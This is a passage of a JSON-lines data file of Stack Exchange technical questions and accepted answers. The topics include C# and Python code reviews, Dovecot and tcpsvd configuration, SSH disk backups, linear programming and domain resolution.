UrlStatus.Down);            return;        }        using(var reader = new StreamReader(resp.GetResponseStream())) {            // Check for empty response            var html = reader.ReadToEnd();            if(string.IsNullOrEmpty(html)) {                lock(_lock) {                    _status.Add(url, UrlStatus.Down);                }            }            // Validate against condition            if(!_condition.IsValid(html)) {                lock(_lock) {                    _status.Add(url, UrlStatus.Down);                }                return;            }        }        // We reached the end without problems, it's a valid url        lock(_lock) {            _status.Add(url, UrlStatus.OK);        }    }}It's called like so:checker.CheckRange(urls, status => {    if(status.Any(x => x.Value == UrlStatus.Down))        EmailFailing(message);});The second parameter is obviously a callback that's invoked when all checks are done.Am I locking correctly?Is this an acceptable way of doing it? Checking with Fiddler proves that it's working correctly, but is there a better way?"  , "title": "Asynchronous website monitor"  , "tags": "c#;asynchronous"  , "accepted_answer": "I don't see how this runs asynchronously. callback(_status); will still only be called after all processing is finished, parallel or not. In this case this makes the callback rather redundant, as it does the same as a simple return value.If you want to make it asynchronous you'll need to store the callback as a member variable, but return immediately in CheckRange. Start the actual processing on a separate thread by e.g. using a BackgroundWorker. Once this execution completes, you can call the stored callback with the result."  } 
{  "id": "_unix.222968"  , "question": "I have a running dovecot with:$ dovecot -n# 2.2.18: /etc/dovecot/dovecot.conf# OS: Linux 4.1.0-x86_64-linode59 x86_64 Fedora release 22 (Twenty Two) ext4auth_debug = yesauth_mechanisms = plain login digest-md5 cram-md5auth_verbose = yesauth_verbose_passwords = yesdefault_internal_user = rootimap_client_workarounds = delay-newmail tb-extra-mailbox-sepmail_debug = yesmail_location = maildir:/home/vmail/%d/%n/Maildirmaildir_very_dirty_syncs = yesmbox_write_locks = fcntlnamespace {  inbox = yes  location =  prefix = INBOX.  separator = .  type = private}namespace inbox {  location =  mailbox Drafts {    special_use = \\Drafts  }  mailbox Junk {    special_use = \\Junk  }  mailbox Sent {    special_use = \\Sent  }  mailbox Sent Messages {    special_use = \\Sent  }  mailbox Trash {    special_use = \\Trash  }  prefix =}passdb {  args = /etc/dovecot/dovecot-sql.conf.ext  driver = sql}postmaster_address = pmatosprotocols = imapquota_full_tempfail = yesservice auth {  unix_listener /var/spool/postfix/private/auth {    group = postfix    mode = 0666    user = postfix  }  unix_listener auth-master {    mode = 0600    user = vmail  }  user = $default_internal_user}ssl = requiredssl_cert = </etc/pki/dovecot/certs/dovecot.pemssl_key = </etc/pki/dovecot/private/dovecot.pemuserdb {  args = uid=5000 gid=5000 home=/home/vmail/%d/%n allow_all_users=yes  driver = static}protocol lda {  auth_socket_path = /var/run/dovecot/auth-master  deliver_log_format = msgid=%m: %$  log_path = /home/vmail/dovecot-deliver.log}protocol imap {  mail_max_userip_connections = 100}I started to filter my email with imapfilter running on the same host as dovecot. I would therefore like to deliver email to a folder called PreINBOX so that imapfilter then sorts the email and ends up delivering only the useful email to INBOX.How can I change the name of the inbox dovecot delivers to?"  , "title": "Delivering email to Maildir PreINBOX"  , "tags": "email;dovecot"  } 
{  "id": "_unix.143820"  , "question": "What is the best way to monitor running services and ports on a system with systemd?My intent is to alert me, when a service stops running or if a new service is listening on a new port (possibly a security breach).Currently, I have a script that uses netstat to see the open ports and compares it with what is expected.Is there some sort of utility I should be using?Also, can systemd alert me or again, should I just my my scriptthat will be executed via cron?I have munin installed and it does monitor things, but as for alerts, I don't see it having the capability as I describe."  , "title": "monitor running services and ports"  , "tags": "monitoring;systemd;munin"  } 
{  "id": "_codereview.14553"  , "question": "I've written my first class to interact with a database. I was hoping I could get some feedback on the design of my class and areas that I need to improve on. Is there anything I'm doing below that is considered a bad habit that I should break now?public IEnumerable<string> ReturnSingleSetting(int settingCode) interacts with a normalized table to populate combo boxes based on the setting value passed to it (for example, a user code of 20 is a user, sending that to this method would return all users (to fill the combobox).public void InsertHealthIndicator(string workflowType, string workflowEvent, int times, string workflowSummary) interacts with a stored procedure to write a workflow error type into another normalized table.public DataView DisplayHealthIndicator(DateTime startDate, DateTime endDate) uses another stored procedure to return the workflow error types between specific dates.Note: Although this seems like I likely shouldn't use stored procedures in some areas here, I've done so so I can base some SSRS reports off the same stored procedures (so a bug fixed in one area is a bug fixed in both).using System;using System.Collections.Generic;using System.Data;using System.Globalization;using System.Data.SqlClient;using System.Windows;namespace QIC.RE.SupportBox{    internal class DatabaseHandle    {        /// <summary>        /// Class used when interacting with the database        /// </summary>        public string GetConnectionString()        {            // todo: Integrate into settings.xml            return Data Source=FINALLYWINDOWS7\\\\TESTING;Initial Catalog=Testing;Integrated Security=true;        }        public IEnumerable<string> ReturnSingleSetting(int settingCode)        {            var returnList = new List<string>();            string queryString =       select  setting_main                                    +  from    [marlin].[support_config]                                    +  where   config_code =  + settingCode.ToString(CultureInfo.InvariantCulture)                                    +          and setting_active = 1                                    +  order by setting_main;            using (var connection = new SqlConnection(GetConnectionString()))            {                var command = new SqlCommand(queryString, connection);                try                {                    connection.Open();                    using (SqlDataReader reader = command.ExecuteReader())                    {                        while (reader.Read())                        {                            returnList.Add(reader[0].ToString());                        }                        reader.Close();                    }                }                catch (Exception ex)                {                    MessageBox.Show(ex.ToString());                    throw;                }                connection.Close();            }            return returnList;        }        public void InsertHealthIndicator(string workflowType, string workflowEvent, int times, string workflowSummary)        {            string queryString =                EXEC   [marlin].[support_add_workflow_indicator]                        + @workflow_type = @workflowType,                        + @workflow_event = @workflowEvent,                        + @event_count = @eventCount,                        + @event_summary = @eventSummary;            using (var connection = new SqlConnection(GetConnectionString()))            {                try                {                    connection.Open();                    using(var cmd = new SqlCommand(queryString, connection))                    {                        cmd.Parameters.AddWithValue(@workflowType, workflowType);                        cmd.Parameters.AddWithValue(@workflowEvent, workflowEvent);                        cmd.Parameters.AddWithValue(@eventCount, times);                        cmd.Parameters.AddWithValue(@eventSummary, workflowSummary);                        cmd.CommandType = CommandType.Text;                        cmd.ExecuteNonQuery();                    }                    connection.Close();                }                catch(SqlException ex)                {                    string msg = Insert Error: ;                    msg += ex.Message;                    throw new Exception(msg);                }            }        }        public DataView DisplayHealthIndicator(DateTime startDate, DateTime endDate)        {            string queryString = [marlin].[support_retrieve_workflow_history];            using (SqlConnection connection = new SqlConnection(GetConnectionString()))            {                using (var cmd = new SqlCommand(queryString, connection))                {                    connection.Open();                    cmd.CommandType = CommandType.StoredProcedure;                    cmd.Parameters.AddWithValue(date_from, startDate.Date);                    cmd.Parameters.AddWithValue(date_to, endDate.Date);                    var reader = cmd.ExecuteReader();                    var dt = new DataTable();                    dt.Load(reader);                    connection.Close();                    return dt.DefaultView;                }            }        }    }}"  , "title": "Interacting with a database"  , "tags": "c#;sql;ado.net"  , "accepted_answer": "I believe it's much better to use some ORM together with LINQ, rather than writing raw SQL. It means more errors are checked at compile time, it will help you avoid some common mistakes and it will make your code much shorter.I would also always use parametrized SQL queries and never concatenate them by hand. You do use them most of the time, and in the one case where you don't, there is no danger of SQL injection, because the parameter is an integer, but I still think it's better to use parameters everywhere. (I think it may also make your query faster thanks to caching, but I'm not completely sure about that.)Also, you shouldn't throw Exception, you should create a custom class that inherits from Exception. And, if possible, include the original exception as inner exception, to make debugging the original source of the error easier."  } 
{  "id": "_unix.209968"  , "question": "All I was able to find out about the %gs register is, that it seems to be a free to use register on >32bit x86 architectures. It seems that a gs_change is executed before any system-call.Can someone point me to a documentation how this register is used for? — I assume its a register used for kernel-/user-mode switches.The background of my question is, that I try to understand a kernel stack trace and what exactly happened.The stack trace was produced from the flush process that reached the /proc/sys/kernel/hung_task_timeout_secs."  , "title": "What is the register %gs used for?"  , "tags": "linux kernel;x86"  , "accepted_answer": "It seems %gs is reserved for GCC'c stack protection feature on x86 Linux kernel with CONFIG_CC_STACKPROTECTOR enabled in order to set up stack canaries.  You can see some explanation at arch/x86/include/asm/stackportector.h.  "  } 
{  "id": "_unix.92532"  , "question": "Assume a script runs on boot as root. From this script I want to start tcpsvd -E 0 515 lpd. I want tcpsvd to run as an unprivileged user. But it requires root privileges to bind to the port 515. How can I achieve this? Further I have to use busybox tcpsvd:tcpsvdtcpsvd [-hEv] [-c N] [-C N[:MSG]] [-b N] [-u USER] [-l NAME] IP PORT PROGCreate TCP socket, bind to IP:PORT and listen for incoming connection.Run PROG for each connection.    IP              IP to listen on. '0' = all    PORT            Port to listen on    PROG [ARGS]     Program to run    -l NAME         Local hostname (else looks up local hostname in DNS)    -u USER[:GRP]   Change to user/group after bind    -c N            Handle up to N connections simultaneously    -b N            Allow a backlog of approximately N TCP SYNs    -C N[:MSG]      Allow only up to N connections from the same IP                    New connections from this IP address are closed                    immediately. MSG is written to the peer before close    -h              Look up peer's hostname    -E              Do not set up environment variables    -v              Verbose"  , "title": "How do I get tcpsvd to drop its root privileges?"  , "tags": "root;not root user"  , "accepted_answer": "You need to have the program bind to the port while running as root, and then switch to your unprivileged user.  tcpsvd offers the -u option for doing this: -u user[:group]          drop permissions.  Switch user ID to users UID, and group ID to          users primary GID after creating and binding to the socket.  If          user  is  followed  by a colon and a group name, the group ID is          switched to the GID of group instead.  All supplementary  groups          are removed."  } 
{  "id": "_unix.2600"  , "question": "My organization is running an exchange server 2007 with MAPI disabled for security reasons.  How do I connect with evolution?  When I connect using the Microsoft Exchange option I get the error The Exchange server is not compatible  with Exchange Connector.The server is running Exchange 5.5.  Exchange Connector  supports Microsoft  Exchange 2000 and 2003 only.If I use the Exchange MAPI option I getAuthentication failed. MapiLogonProvider:MAPI_E_NETWORK_ERRORWhich appears to be a network timeout, which confirms that administrators have MAPI turned off."  , "title": "Evolution and Exchange Server 2007 without MAPI"  , "tags": "email;evolution;exchange"  , "accepted_answer": "As far as I know, this is not possible, at least if you want a reasonably stable solution.  Which would, at this point, also exclude the Exchange MAPI option, even if it were available."  } 
{  "id": "_unix.110903"  , "question": "I am trying to backup a remote server to my machine. I am trying something likessh user@ip dd if=/dev/sda | dd of=~/backup.imgBut that obviously doesn't work. Other variants that don't work.ssh user@ip sudo dd if=/dev/sda | dd of=~/backup.imgssh user@ip -t sudo dd if=/dev/sda | dd of=~/backup.imgI have public key authentication set up. Note that even after compression, the remote machine can not hold its own backup. What do I do?(Note in the long run I want to try and put this in an automatic script, but I just want a backup for now.)Note: I should mention that I don't want to just back up the files (like with rsync) but to have a complete image that I can just drop on a new hard-drive should this one go belly up with little hassle."  , "title": "SSH remote backup script"  , "tags": "ssh;backup;dd"  , "accepted_answer": "Something like this should work:ssh user@ip sudo -S dd if=/dev/sda > backup.img You don't need to pipe to dd, you can just redirect the output into a file."  } 
{  "id": "_unix.280770"  , "question": "This is on a macintosh but it's still unix command.I am running some computers on a network that have file sharing turned off because of security so the only way to connect is via ssh.I need to look at what applications are installed on the computers /applications folder so we can push our a few things.What I would normally type in terminal would be:ssh apple@192.168.1.117(password)cd /applicationsls -lthen this shows me all the applications installed in that folder.Is there anyway to put that query into a .sh file to automate this? Like a .bat on windows when you can just double click it and it runs it."  , "title": ".sh query - running a ssh task"  , "tags": "shell script;ssh;terminal"  , "accepted_answer": "Use public key authenticationIn the source host run this only once:ssh-keygen -t rsa # ENTER to every fieldssh-copy-id myname@somehostThat's all, after that you'll be able to do ssh without password.Coming to your question, use below command now, ssh apple@192.168.1.117 'ls -l /applications'"  } 
{  "id": "_scicomp.7868"  , "question": "I would like to find the optimal set $ \\{ x_i \\} $ given $ L $ and $ \\{ a_i \\} $ that minimizes the problem below.  My first thought was to use linear programming.  Is there a transformation that makes it possible, or do I need a more general optimization technique?$$ \\min_{x_i} \\left[ 2\\sum_i | x_i |  + \\max_i | x_i + a_i | \\right]$$$$ \\mathrm{s.t.} \\sum_i (x_i + a_i) \\le L$$"  , "title": "Constrained optimization with max and absolute values in objective function"  , "tags": "optimization;linear programming"  , "accepted_answer": "You haven't told us what set $i$ ranges over, so I'll just assume $i=1, 2, \\ldots, n$.  A standard trick in LP formulation of problems with absolute values is to introduce auxiliary variables and constraints with the basic idea that $\\min | x | $is equivalent to $\\min t $$t \\geq x $$t \\geq -x $Applying that idea to your problem, introduce auxiliary variables $t_{i}$, $i=1, 2, \\ldots n$, and $s$.  Then formulate the problem as:$\\min 2 \\sum_{i=1}^{n} t_{i}    +  s $subject to$t_{i} \\geq x_{i}$, $i=1, 2, \\ldots n$.$t_{i} \\geq -x_{i}$, $i=1, 2, \\ldots n$.$s \\geq x_{i}+a_{i} $, $i=1, 2, \\ldots, n$. $s \\geq -(x_{i}+a_{i}) $, $i=1, 2, \\ldots, n$.$\\sum_{i=1}^{n} (x_{i}+a_{i}) \\leq L$"  } 
{  "id": "_softwareengineering.218194"  , "question": "When considering the disk space of a storage medium, normally the computer or operating system will represent it in terms of powers of 1024 - a kilobyte is 1,024 bytes, a megabyte is 1,048,576 bytes, a gigabyte is 1,073,741,824 bytes, and so on.But I don't see any practical reason why this convention was adopted. Usually when disk size is represented in kilo-, mega-, or giga-bytes, it has to be converted into decimal first. In places where a power-of-two byte count actually matters (like the block size on a file system), the size is given in bytes anyway (e.g. 4096 bytes).Was it just a little aesthetic novelty that computer makers decided to adopt, but storage medium vendors decided to disregard? Whenever you buy a hard drive, there's always a disclaimer nowadays that says One gigabyte means one billion bytes. It would feel like using the binary definition of gigabyte would artificially inflate the byte count of a device, making drive-makers have to pack 1.1 terabytes into a drive in order to have it show up as 1 TB, or to simply pack 1 terabyte in and have it show up as 931 GB (and most of them do the latter).Some people have decided to use units like KiB or MiB in favour of KB and MB in order to distinguish the two. But is there any merit to the binary prefixes in the first place?There's probably a bit of old history I'm not aware of on this topic, and if there is, I'm looking for somebody to explain it.(Apologies if this is in the wrong place. I felt that a question on best practice might belong here, but I have faith that it will be migrated to the right place if it's incorrect.)"  , "title": "What is the advantage to using a factor of 1024 instead of 1000 for disk size units?"  , "tags": "history;conventions"  , "accepted_answer": "The reason is because in any organized file system that is placed on the drive must be able to uniquely identify each spot on the drive.  and those addresses are stored in binary format,because,well, we are using binary computers, not say, analog computers.  So to most compactly represent all the addresse on a disk requires a certain minimum number of bits.  and file directories are basically wasted, overhead space so why not make them as small as possible.  Thus you actually see manufacturers targeting their physical drive platters toward certain  powers of twos, because more space than that would be wasted,unless they changed the directory address length of addresses.It is kind of convenience and optimization for getting the most usable, addressable space between the two considerations of addressing and physical platter size.remember there is a table taking up nearly 2% of the disk,and all that table does is show where on the disk each file starts, and what the name of the file is, etc.  so this table can be made smaller by being smart about the numer of bits used for each files address.if you make the table address two bits longer, and you only make the drive platter twice as large, you're kind of wasting most of that second bit you added,so why not target the physical platter manufacturing to match what bits you have to create addresses.and the of course, humans wanted some way to understand the magnitude of these numbers in our digital ( Powers of Ten fingers ) world.  thus, the closest one is , 1000.at this point the whole thing is pretty moot because drive capacities are so huge we dont worry quite as much about the overhead of addressing, but at one point it was important."  } 
{  "id": "_codereview.40865"  , "question": "I've written a Python client for a new NoSQL database as a service product called Orchestrate.io. The client is very straightforward and minimal. It uses the requests library, making the underlying code even more streamlined. I've been using the service as part of the private beta. However, Orchestrate.io went live to the public today. They have added a few new features to the API and I would like to include them in the Python client. With these updates, I'm considering other design choices as well.I am relatively new to writing such an API and I would like to get feedback on the current design and perhaps suggestions for how it can be improved. Personally, I like where it is now because it is super simple/minimal. That said, I am open to making changes that will make the code most useful to the community.Below are few things that I'm considering in the next round of updates:Putting the client and each service (Key/Value, Search, Events, ect...) into their own classesImplementing optional success and error callbacksProviding an asynchronous option (currently requests are blocking)Improved error handlingHere is the code in its current state (also available here):'''A minimal implementation of an Orchestrate.io client'''import requests# Settingslogging = Falseauth = ('YOUR API KEY HERE', '')root = 'https://api.orchestrate.io/v0/'header = {'Content-Type':'application/json'}# Authdef set_auth(api_key):    global auth    auth = (api_key, '')# Collectionsdef delete_collection(collection):    '''    Deletes an  entire collection    '''    return delete(root + collection + '?force=true')    # Key/Valuedef format_key_value_url(collection, key):    '''    Returns the url for key/value queries    '''    return root + '%s/%s' % (collection, key) def get_key_value(collection, key):    '''    Returns the value associated with the supplied key    '''    return get(format_key_value_url(collection, key))def put_key_value(collection, key, data):    '''    Sets the value for the supplied key    '''    return put(format_key_value_url(collection, key), data)def delete_key_value(collection, key):    '''    Deletes a key value pair    '''    return delete(format_key_value_url(collection, key))# Searchdef format_search_query(properties = None, terms = None, fragments = None):    '''    propertes - dict: {'Genre' : 'jazz'}    terms - list, tuple: ['Monk', 'Mingus']    fragments - list, tuple: ['bari', 'sax', 'contra']    '''    def formatter(items, pattern=None):        result = ''        for i in range(0, len(items)):            item = items[i]            if pattern: result += pattern % item             else: result += item            if i < len(items) - 1: result += ' AND '        return result    query = ''     if properties:        query += formatter(properties.items(), '%s:%s')           if terms:        if properties: query += ' AND '        query += formatter(terms)    if fragments:        if properties or terms: query += ' AND '        query += formatter(fragments, '*%s*')    return querydef format_event_search(span, start, end, start_inclusive = True, end_inclusive = True):    '''    Formats a query string for event searches.    Example output: Year:[1999 TO 2013}    span - string: YEAR, TIME    start - string: beginning date or time    end - string: ending date or time    start_inclusive - boolean: whether or not to include start    end_inclusive - boolean: whether or not to include end    '''    result = span + ':'    result += '[' if start_inclusive else '{'    result += start + ' TO ' + end    result += ']' if end_inclusive else '}'    return result def search(collection, query):    '''    Searches supplied collection with the supplied query    '''    return get(root + %s/?query=%s % (collection, query))# Eventsdef format_event_url(collection, key, event_type):    '''    Returns the base url for events    '''    return root + '%s/%s/events/%s' % (collection, key, event_type)def get_event(collection, key, event_type, start='', end=''):    '''    Returns an event    '''    return get(format_event_url(collection, key, event_type) + '?start=%s&end=%s' % (start, end))def put_event(collection, key, event_type, time_stamp, data):    '''    Sets an event    '''    return put(format_event_url(collection, key, event_type) + '?timestamp=%s' % (time_stamp), data)def delete_event(collection, key, event_type, start='', end=''):    '''    Delets an event    '''    return delete(format_event_url(collection, key, event_type) + '?start=%s&end=%s' % (start, end))# Graphdef format_graph_url(collection, key, relation):    '''    Returns the base url for a graph    '''    return root + '%s/%s/relations/%s/' % (collection, key, relation)def get_graph(collection, key, relation):    '''     Returns a graph retlationship    '''    return get(format_graph_url(collection, key, relation))def put_graph(collection, key, relation, to_collection, to_key):    '''    Sets a graph relationship    '''    return put(format_graph_url(collection, key, relation) + ('%s/%s') % (to_collection, to_key))def delete_graph(collection, key, relation):    '''    Deletes a graph relationship    '''    return delete(format_graph_url(collection, key, relation))'''Convenience methods used by client for generic, get, put and delete. '''def get(url):    log('GET', url)     return requests.get(url, headers=header, auth=auth) def put(url, data=None):    log('PUT', url)    return requests.put(url, headers=header, auth=auth, data=data)def delete(url):    log('DEL', url)    return requests.delete(url, auth=auth)def log(op, url):    if logging: print '[Orchestrate.io] :: %s :: %s' % (op, url.replace(root, ))"  , "title": "Orchestrate.io Client API Design"  , "tags": "python;api"  , "accepted_answer": "This is a very thin layer around the Orchestrate.io database. By thin I mean that it provides no abstraction and no mapping of concepts between the Orchestrate and Python worlds. Without your module, someone might have written a sequence of operations like this:import requestsvalue = requests.get(root + collection_name + '/' + key, headers=header, auth=auth)requests.delete(root + collection_name + '/' + key, headers=header, auth=auth)but with your module they can write it like this:import orchestrateorchestrate.auth = authorchestrate.root = rootvalue = orchestrate.get(collection_name, key)orchestrate.delete(collection_name, key)which you have to admit is not much of an improvement. All you've done is factor out a bit of boilerplate, which any Python programmer could easily have done for themselves.What you should do is figure out some way to map concepts back and forth between the Orchestrate and Python worlds. For example, a key-value store is very like a Python dictionary, so wouldn't it be nice to be able to write the above sequence of operations like this:import orchestrateconn = orchestrate.Connection(root, api_key)collection = conn.Collection(collection_name)value = collection[key]del collection[key]The advantage of this kind of approach is not just that it results in shorter code, but that it interoperates with other Python functions. For example, you'd be able to write:sorted(data, key=collection.__getitem__)or:{product} has {stock_count} items..format_map(collection)By using the requests module, you require all your users to install that module. If you are trying to write something for general use, you should strive to use only features from Python's standard library. Even if requests is easier to use than urllib.request, a bit of inconvenience for you could save a lot of inconvenience for your users if it would enable them to run your code on a vanilla Python installation.There doesn't seem to be any attention to security or validation. You should strive to make your interface robust against erroneous or malicious data. Some examples I spotted:What if root doesn't end with a /? It would be safer to use urllib.parse.urljoin instead of string concatenation.What if collection or key contains a / or a ? or a %? You might consider using urllib.parse.quote_plus.Instead of appending ?force=true, why not use the requests module's params interface?Similarly for ?query=%s. Using the params interface would ensure that the query is properly encoded. format_search_query and format_event_search look vulnerable to code injection attacks."  } 
{  "id": "_codereview.27038"  , "question": "I have a very simple Pong game that I've built in Java. The code is quite long so I've decided to focus this question on the collision that occurs with the ball and the bat and also the effects in the game. I'm using ACM Graphics package to learn Java so most of the methods are from that package. I want to know how I can improve this checking process and if the way I revert the speed and direction is efficient. I'm also open to any suggestions for the game.//Setting up variablesstatic final int WAIT = 50;static final int MV_AMT = 20;static final int BATWIDTH = 120;static final int BATHEIGHT = 20;static final int WINDOWX = 400;static final int WINDOWY = 400;static final int BALLRADIUS = 10;private int batX = 150, batY = 400; //Starting positionsprivate int ballX = 160, ballY = 370;private int ballSpeedX = 2; //the ball speed on the X axisprivate int ballSpeedY = -9; //the ball speed on the Y axispublic void run(){    //... Stuff that runs before the game, ie. draw the sceen etc.    int currentTime = 0;    //Do all our stuff here    while(continueGame){        //Pause dat loop        pause(WAIT);        currentTime = currentTime + WAIT;        //Up the speed every 5 seconds        if (currentTime % 5000 == 0) {            if(ballSpeedY>0)                ballSpeedY += 2;            else                ballSpeedY -= 2;            if(ballSpeedX>0)                ballSpeedX += 2;            else                ballSpeedX -= 2;        }        //Move the ball        ballX=ballX+ballSpeedX;        ballY=ballY+ballSpeedY;        ball.setLocation(ballX, ballY);        //Check        checkCollisions();    }    //... Stuff that gets done after game over}public void checkCollisions(){    //This method is quite long so I won't be posting it all    //Just the part the calls the collision method    //Get the bounds    GRectangle batBounds = bat.getBounds();    GRectangle ballBounds = ball.getBounds();    //Where is the ball?    ballX = (int)ball.getX();    ballY = (int)ball.getY();    //Where is the bat?    batX = (int)bat.getX();    batY = (int)bat.getY();    //Did the bat touch the ball?    if(batBounds.intersects(ballBounds)){        batCollision();    }}public void batCollision(){    if( ballX+BALLRADIUS > batX+(BATWIDTH/2) ){ //Which side of the bat?        //Which direction is the ball traveling when it hits?        if(ballSpeedX >> 31 !=0){            ballSpeedX = ballSpeedX * -1;        } else {            ballSpeedX = ballSpeedX;        }    } else {        if(ballSpeedX >> 31 !=0){            ballSpeedX = ballSpeedX;        } else {            ballSpeedX = -ballSpeedX;        }    }    ballSpeedY = -ballSpeedY; //Adjust Y speed}"  , "title": "Java Pong Game Collision between bat and ball"  , "tags": "java;game;collision"  } 
{  "id": "_webmaster.69551"  , "question": "I have a requirement where i need to lost large mp3 files on a web server. file size may vary from 1MB - 120MB (where most of the files are more than 20MB)With large size in mind i cant host these files on the same web server as can slow down the web-server & degrade performance of several websites hosted on the same server.I would appreciate if someon can tell me which is the best service paid service to host these files for streaming & downloading."  , "title": "I need to host large mp3 files & link them on website for download"  , "tags": "web hosting;cloud hosting"  } 
{  "id": "_unix.320"  , "question": "I want to make my Fedora Linux capable of following :Use Linux for complete development platform without requiring any other OS installation but still able to build and test programs under different platforms.Completely replace Windows machine for all the other work e.g. Office,  Paint, Remote Desktop, etc. Can you suggest open source projects and tools for achieving above objectives ? "  , "title": "Linux as a complete development platform?"  , "tags": "linux;opensource projects"  , "accepted_answer": "You can easily do cross-platform development whether you are a systems programmer, a web developer or a desktop application developer. If you are into systems, then any utilities and/or drivers you write for linux are likely to work well for other *nix with very minimal modifications. Provided that you write standard C code and don't use too many system specific calls, they may be even easy to port to windows.If you are a desktop application dev, you can target GTK, QT or wxWidgets and your app will likely work well across the major 3 platforms today (*nix, Windows, Mac). Again, keep system specific calls to a minimum or isolate them into a wrapper library that's going to be system specific. You call also target a Virtual Machine like the JVM and/or CLR which will allow application to work across the board.If you are a web dev, then you are likely to run into too many different alternatives to choose from. I prefer a little web server called Cherokee and I develop and run ASP.NET (mono) and Django apps that run on it and use a PgSQL backend. So the conclusion is that cross-platform development in Linux can be done, provided that you can compile the code on the target platform and you keep that in mind while writing your code or if you target a VM. The other point is that you may run into The Paradox of Choice and not know what to use. For that read below my answer to the second question.As to the second question, the best resource I have found is called Open Source Alternatives. This web site lists out commercial software and their open source alternatives. Almost all the alternatives run on Linux and FreeBSD. "  } 
{  "id": "_unix.175166"  , "question": "I have been hammering my head on the wall for the past two days trying to figure out a way to combine two keys to execute a function with xbindkeys.To make a long story short I have a chromebook c720 running OpenSUSE, and as you may already know chromebooks don't have Function keys but they do have hotkeys rather. Since I have already mapped with xbindkeys each hotkeys to do what they are supposed to do, my goal now is to combine the ctrl + hotkey to emulate the FN key.I can map a single key with xbindkey and xmodmap to act as FN key by using xmodmap -e 'keycode 72 = F6'however I can't seem to be able to map two to act as such.Here's the ctrl + F6 key codes output. caino@chromebook:~> xbindkeys -kPress combination of keys or/and click under the window.You can use one of the two lines after NoCommandin $HOME/.xbindkeysrc to bind a key.(Scheme function)    m:0x0 + c:72    F6caino@chromebook:~> xbindkeys -kPress combination of keys or/and click under the window.You can use one of the two lines after NoCommandin $HOME/.xbindkeysrc to bind a key.(Scheme function)    m:0x4 + c:37    Control + Control_L"  , "title": "How do I combine two keys to act as FN key with xbindkeys?"  , "tags": "linux;keyboard shortcuts;opensuse;key mapping;xbindkeys"  } 
{  "id": "_unix.9816"  , "question": "So Im a complete newb when it comes to enterprise level linux distros, and linux servers in general.I know my way around Most Linux Desktops, but Im going to be setting up a small Linux Server that multiple people would be able to Terminal into (probably through SSH or Putty)How would I go about doing this (storing the users/passwords and such)....And is there a good FREE distro to do this? I was looking at Ubuntu Server, I was gonna do Centos but im a little bit iffy as their latest release is taking a LONGGG time. (We use Red Hat Enterprise 5.3 at work....but obviously I can't afford that lol)Thanks all.edit: Also how do you make like names for the server, so instead of 164.25.252.35 (or w/e ip, i just made that one up)it could be something like tron.dev.sauron.com or something.... (ya im a NUB)"  , "title": "Setting a Multi-Terminal Linux Server"  , "tags": "linux;terminal;multiuser"  , "accepted_answer": "First of all, your users should not be using passwords to log in to SSH, and should be using keys+passphrases, unless you absolutely must use passwords for some reason. For general information on how to set up SSH, I would look into specific information for setting up SSH on whatever distribution you end up choosing (most of them will have a tutorial on their site), or just google for How to set up SSH.Ubuntu Server is an excellent server distribution (which powers extremely high-traffic servers, such as those that Wikipedia runs on) and has packages for everything you'd need to do this (openssh-server, etc.) They also have very regular releases, so if you're worried about slow release cycles, this will not be a problem.As far as how names like tron.dev.sauron.com get converted to IP addresses, this is known as domain name resolution. If you are trying to set up a remote server for people to log in to, you're going to need to register a domain name and either (a) run a DNS server yourself, or (b) use a DNS service that will route it to the proper IP. (See this for more info: http://www.boutell.com/newfaq/creating/domainathome.html). The latter is likely a much better option."  } 
{  "id": "_codereview.173728"  , "question": "I am trying to implemenent the adjacency list representation of graph.Here is the link to the code:http://ide.geeksforgeeks.org/6wjVCwNow the problem that I am facing is that the double pointer does not seem to work.Why is it happening? I am particularly sceptical about this part of the code : struct node** adjList(int V, int E) {    struct node ** arr = (struct node **)malloc(sizeof(struct node *)*V);    int u,v;    for(int i = 0; i < V; i++)      arr[i]->next = NULL;What I want to do is to creat"  , "title": "Graph implementation?"  , "tags": "graph"  } 
{  "id": "_cstheory.1956"  , "question": "Computational geometry is an area I find pretty interesting, and I'd like to devote about a month or two to a project that will introduce me to this and help me learn key concepts.What is a good way to approach this and what are the key concepts I should be sure I'm introduced too?"  , "title": "What is a really good problem to get your hands dirty in computational-geometry?"  , "tags": "soft question;cg.comp geom"  , "accepted_answer": "To mix Suresh V.'s and Dave C.'s suggestions, it might be fun to try to gain experimental evidenceon an unsolved problem by implementing the necessary algorithms.  For example, it is now known that the Delaunay triangulation is not a ($\\pi$/2)-spanner[Prosenjit Bose, Luc Devroye, Maarten Lffler, Jack Snoeyink, Vishal Verma: The spanning ratio of the Delaunay triangulation is greater than $\\pi$/2. CCCG 2009: 165-167.]You could implement a Delaunay triangulation algorithm, and shortest paths, and try todetermine experimentally what the true spanning ratio might be.Or, more challenging, try to compute the combinatorial complexity of the Voronoi diagram of lines in $\\mathbb{R}^3$,another unsolved problem (and in the list that Suresh mentions as Problem 3.)"  } 
{  "id": "_unix.107041"  , "question": "I need to make a copy of my home directory and place that copy in the same home directory. The exit code of the command must be 0. Currently, my home directory does not contain any other directories.Is there a better way than the following? (pwd is the home directory)mkdir /tmp/temp && cp * /tmp/temp && mv /tmp/temp ."  , "title": "How to copy the home directory in the home directory?"  , "tags": "file copy;home"  , "accepted_answer": "Call rsync and exclude the directory where you're putting the copy.cdmkdir copyrsync -a --exclude=copy . copyCopying * excludes dot files (files whose name begins with a .), which are common and important in a home directory."  } 
{  "id": "_vi.11387"  , "question": "Saw this in a .vimrc file:====[ Ensure autodoc'd plugins are supported ]===========runtime plugin/_autodoc.vimAny idea on what autodoc'd docs are and how they work?"  , "title": "What are autodoc'd plugins?"  , "tags": "vimrc"  } 
{  "id": "_webmaster.106940"  , "question": ".dj domains appear to suddenly not resolve almost anywhere (lots of complaints incoming from users on .dj websites' social media) i.e. http://www.dj http://plug.dj https://click.djGoing to any .dj domain results in DNS_PROBE_FINISHED_NXDOMAINWhat's happening? When & how will this be solved?"  , "title": "ALL Djibouti (.dj) domains suddenly no longer being resolved on most devices/DNS (DNS_PROBE_FINISHED_NXDOMAIN)"  , "tags": "domains;domain registration;top level domains;nameserver;dns servers"  } 
